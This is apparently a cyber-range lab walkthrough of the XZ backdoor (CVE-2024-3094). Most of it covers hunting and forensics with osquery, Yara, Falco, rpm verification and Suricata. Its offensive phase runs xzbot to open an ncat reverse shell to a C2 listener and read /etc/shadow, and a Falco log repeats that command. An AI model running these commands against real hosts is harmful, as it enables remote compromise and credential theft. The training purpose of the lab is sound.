EDR-T6233 - XZ Backdoor CVE-2024-3094
On March 29, 2024, the widely used XZ package in Linux systems faced scrutiny after anomalies were detected, revealing the insertion of malicious code by a maintainer. This code, present in versions 5.6.0 and 5.6.1, aimed to bypass SSH authentication controls and execute code pre-authentication.
The malicious build script, identified in three stages, utilized obfuscation techniques and targeted deb and rpm packages.
CVE-2024-3094 outlines how liblzma modifications stemmed from tainted build scripts, impacting any software linked to the library on compromised systems. Notably, affected tools are standard Linux utilities, posing risks to legitimate system use.
infographic designed by Thomas Roccia
During this lab scenario, you are going to play a bit with CVE-2024-3094 exploitation. Thanks to xzbot project we are able to fully emulate the threat. The xzbot project includes:
ed448 patch for patching liblzma.so to use our own ED448 public key
backdoor CLI to trigger the RCE assuming knowledge of the ED448 private key
HUNTING
FLEETDM OSQUERY:
1. In the first step, log into OSQuery FleetDM and execute the hunting query against vulnerable liblzma/xz-libs packages at scale. Click on Queries, then Add query and paste the below query code:
SELECT 'DEB Package' AS source, name, version,
CASE
WHEN version LIKE '5.6.0%' OR version LIKE '5.6.1%' THEN 'Potentially Vulnerable'
ELSE 'Most likely not vulnerable'
END AS status
FROM deb_packages
WHERE name = 'xz-utils' OR name = 'liblzma' OR name LIKE 'liblzma%'
UNION
SELECT 'RPM Package' AS source, name, version,
CASE
WHEN version LIKE '5.6.0%' OR version LIKE '5.6.1%' THEN 'Potentially Vulnerable'
ELSE 'Most likely not vulnerable'
END AS status
FROM rpm_packages
WHERE name = 'xz-utils' OR name = 'xz-libs' OR name = 'liblzma' OR name LIKE 'liblzma%';
2. Click on Live query and choose All hosts then Run:
3. As you can find in the code, we are querying deb package and rpm package tables for installed vulnerable xz-utils, xz-libs or liblzma packages in versions 5.6.0 and 5.6.1. After a few seconds, you should get at least one hit:
CLI:
4. Regardless of the exploitation, you can log in directly to the Fedora41 VM (10.7.0.10:22253) with credentials of vagrant:vagrant . Check if the sshd process does have the liblzma library loaded:
# pgrep sshd
38006
# cat /proc/38006/maps | grep lzma
7f16fccae000-7f16fccb1000 r--p 00000000 08:04 795461 /usr/lib64/liblzma.so.5.6.1
7f16fccb1000-7f16fccdb000 r-xp 00003000 08:04 795461 /usr/lib64/liblzma.so.5.6.1
7f16fccdb000-7f16fcce8000 r--p 0002d000 08:04 795461 /usr/lib64/liblzma.so.5.6.1
7f16fcce8000-7f16fcce9000 r--p 0003a000 08:04 795461 /usr/lib64/liblzma.so.5.6.1VELOCIRAPTOR:
5. You can also use Velociraptor to run Linux.Detection.Yara.Process with the corresponding Yara rule. In Search clients use host:fedora41 , paste the rule and execute.
rule xz_backdoor
{
meta:
author= "Silas Cutler"
description = "Detection for backdoor in xz 5.6.1"
ref = "https://www.openwall.com/lists/oss-security/2024/03/29/4"
hash="cbeef92e67bf41ca9c015557d81f39adaba67ca9fb3574139754999030b83537"
version = "0.1"
strings:
$ = {f3 0f 1e fa 55 48 89 f5 4c 89 ce 53 89 fb 81 e7 00 00 00 80 48 83 ec 28 48 89 54 24 18 48 89 4c 24 10}
condition:
all of them
}6. As you can see, there are many true positive results. All of these processes have infected liblzma library loaded.
7. Perfect! So, the Fedora 41 VM is your target. To present the method of remote exploitation, we will use the xzbot project:
OFFENSIVE PHASE:
8. Log in to your KALI_X, and install the xzbot binary, which is part of the corresponding xzbot project:
# go install github.com/amlweems/xzbot@latest9. Switch to C2_X and start a simple listener on port 2280:
# nc -vnlp 228010. Get back to KALI_X, customise your arguments, and execute xzbot:
# /root/go/bin/xzbot -addr 10.7.0.10:22253 -cmd 'ncat C2_X_IP 2280 -e /bin/bash'11. On the VPS_X side, you should find a newly established reverse shell. Run some additional commands over the reverse shell, ex:
# cat /etc/shadow
DEFENSIVE/DFIR PHASE:
12. On the targeted Fedora 41 VM, check the backdoor process tree. It looks different from a normal sshd process tree:
# ps uaxf
vs.
13. As you can see, on the backdoor process, thepts is not attached. Another difference is sshd: root [net] process, which is not part of the process tree in a normal SSH connection.
14. Check Falco alerts @ Fedora41 VM:
CLI - Falco Runtime Security:
# journalctl -u falco* | grep -i notice | grep ncat
Apr 22 09:25:29 fedora41 falco[8300]: 09:25:29.551825518: Notice Disallowed outbound connection destination (command=ncat 62.171.151.252 2280 -e /bin/bash connection=192.168.39.253:51172->62.171.151.252:2280 user=root user_loginuid=-1 container_id=host image=<NA>)15. As always, Falco is a great source of contextual process-network telemetry.
16. During the provisioning process of the Fedora 41 VM, we intentionally override the original /usr/lib64/liblzma.so.5.6.1 with the patched version. Find the proof of this action by rpm -V which compares information about the installed files in the package with information about the files taken from the package metadata stored in the rpm database:
CLI:
# rpm -qf /usr/lib64/liblzma.so.5.6.1
xz-libs-5.6.1-1.fc41.x86_64
# rpm -V xz-libs
..5....T. /usr/lib64/liblzma.so.5.6.117. Naturally, in this case, this artifact would not be available, but as we mentioned at the beginning of the lab instructions, we intentionally patched the library to include our ED448 public key.
18. Use Splunk and check index=suricata for corresponding signature alerts:
Splunk - Suricata:
index=suricata "ssh-2.0-go\\r\\n" | stats values(src_ip) as src_ip count by alert.signature, alert.signature_id
19. Pivot to Moloch/Arkime Full Packet Capture and hunt for the HASSH fingerprint of xzbot which is an ssh client in this case:
Moloch:
20. Check corresponding Elastic Security alerts.
Elastic Security:
21. For extra steps:
Prepare a payload that will deploy and execute the Sliver C2 implant
deploy and execute Linux IR Scripts for additional detection and response